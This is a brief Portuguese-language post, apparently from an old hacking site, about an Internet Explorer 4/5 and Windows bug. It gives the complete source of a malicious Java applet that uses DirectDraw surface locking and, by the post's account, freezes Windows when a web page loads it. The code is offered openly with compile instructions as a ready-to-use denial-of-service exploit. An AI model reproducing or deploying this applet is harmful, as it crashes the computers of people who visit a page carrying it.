Um programador chamado Fabio Ciucci descobriu um BUG no Internet Explorer 4.0 e 5.0 que nao afetava as versoes anteriores do IE, e tambem nao afetava o Netscape. Moral da Historia a Microsoft lancou uma correcao... Legal acabou a dor de cabeca? Nao, nao acabou...Descobriram que o Bug nao era somente no IE , o bug tambem era no Windows!! O bug e' o seguinte..e' um .class maldoso que quando carregado em uma pagina ele TRAVA O WINDOWS A correcao que a microsoft lancou acabava com o bug no IE e nao no Windows... Bom vou te mostrar o codigo fonte do .class compile com J++, ou, Microsoft SDK para Java:
import com.ms.directX.DDSurfaceDesc; import com.ms.directX.DirectDraw; import com.ms.directX.DirectDrawSurface; import com.ms.directX.Rect; import java.applet.Applet; import java.awt.Canvas; import java.awt.Component; import java.awt.Container; public class hello extends Applet { public void init() { Canvas canvas4= new Canvas(); add(((Component)canvas4)); DirectDraw directDraw5= new DirectDraw(); show(); directDraw5.setCooperativeLevel(((Component)canvas4), 8); DDSurfaceDesc dDSurfaceDesc2= new DDSurfaceDesc(); dDSurfaceDesc2.flags= 1; dDSurfaceDesc2.ddsCaps= 512; directDraw5.createSurface(dDSurfaceDesc2); DDSurfaceDesc dDSurfaceDesc3= new DDSurfaceDesc(); dDSurfaceDesc3.flags= 7; dDSurfaceDesc3.ddsCaps= 64; dDSurfaceDesc3.width= 640; dDSurfaceDesc3.height= 480; DirectDrawSurface directDrawSurface1= directDraw5.createSurface(dDSurfaceDesc3); Rect rect6= new Rect(); rect6.left= 0; rect6.top= 0; rect6.right= 640; rect6.bottom= 480; directDrawSurface1.lock(rect6, dDSurfaceDesc3, 1, 0, new byte[307200]); } }